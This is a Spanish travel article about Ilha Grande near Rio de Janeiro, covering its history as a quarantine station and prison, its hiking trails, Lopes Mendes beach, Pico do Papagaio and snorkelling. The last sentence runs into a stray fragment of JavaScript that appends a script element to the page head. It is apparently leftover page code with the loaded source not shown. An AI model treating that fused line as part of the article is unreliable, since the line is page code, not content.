Así es Ilha Grande

09/09/2016

Ilha-Grande

Si en Río de Janeiro te hablan de una isla caribeña cerca, no te creas que te están tomando el pelo. Aunque para ser exactos, el mar Caribe no baña las costas de Brasil, y, por lo tanto, no hay un Caribe Brasilero, las semejanzas entre lo que te encuentras en Ilha Grande y lo que te puedas encontrar en cualquier playa de la zona Caribe, hacen que así se conozca esta zona del país. Si tienes ganas de paraíso, Ilha Grande no te defraudará. No obstante, se trata de uno de los destinos más populares cerca de Río de Janeiro y con mayor número de visitantes.

Una isla grande en Brasil

Cuando el ferry se aproxima a Ilha Grande, el visitante divisa en el horizonte una gran mancha verde; conforme se acerca, puede observar mejor que se trata de una selva tupida que arranca desde la orilla de la playa blanca y que asciende hasta llegar a un pico que sobresale de la vegetación, el Pico do Papagaio. Una vez se desembarca en el sencillo muelle de Vila do Abraão, sorprende un pueblo de ritmo calmado, sin tráfico y con calles de tierra, que ocupa la pequeña franja que queda entre el mar y la selva. Si esto no se parece al Caribe, entonces, es que nada se parece al Caribe.

Ilha Grande tiene dos características básicas, está suficientemente apartada del mundo, y es un remanso de paz y belleza. Ambas características determinaron parte de la historia del lugar, y de su presente. Durante el siglo XIX, en la isla hubo un recinto sanitario para la cuarentena de los inmigrantes que llegaban a Brasil, donde se quedaban antes de entrar en Río de Janeiro. Más tarde, las instalaciones se aprovecharon para crear un penal, la Colonia Penal Cándido Mendes, causante de la mala fama de la isla hasta 1994, año en que se dinamitó. Hoy en día solo queda el recuerdo y las ruinas del antiguo penal, casi sumergidas por la selva imparable.

Qué hacer en Ilha Grande

El área de la isla es de 193 km2, tiene un extenso litoral, una topografía montañosa, zonas de gran vegetación, ríos frutas… Suficientes elementos como para tener planes para no aburrirte.

Ilha Grande está surcada de multitud de caminos (trilhas) por los que practicar el senderismo. Los hay de mayor y menor dificultad, pero en todos tendrás que estar preparado para afrontar el clima tropical de la isla. Unos de los caminos más accesibles es el que conduce hasta Playa Lopes Mendes, la que está considerada como la mejor playa de Ilha Grande. Se trata de una caminata de unas tres horas, aunque también salen lanchas desde Vila do Abraão que te acercan por si lo tuyo no es caminar. En cambio, una de las caminatas más complicadas de realizar es la que sube hasta el Pico do Papagaio, la icónica montaña, que forma parte del peculiar skyline de la isla. El pico tiene 982 metros, sólo unos pocos menos que el Pico da Pedra d´Água, y el esfuerzo de subirlo vale la pena. Arriba te espera una visión panorámica muy bonita.

Muchas más playas, la posibilidad de bucear o practicar snorkel entre tortugas y otras especies que habitan las aguas cristalinas de su litoral, gastronomía local como la copiosa Moqueca, historia, y sobre todo, palmeras, palmeras y mucho caribe, es lo que te espera si visitas esta zona de Brasil, la joya escondida del Caribe Brasilero. Por lo que si te hablan de ella en Río de Janeiro, no te sorprendas ni pienses que te están engañando. Existe y vale la pena conocerla.d.getElementsByTagName(‘head’)[0].appendChild(s);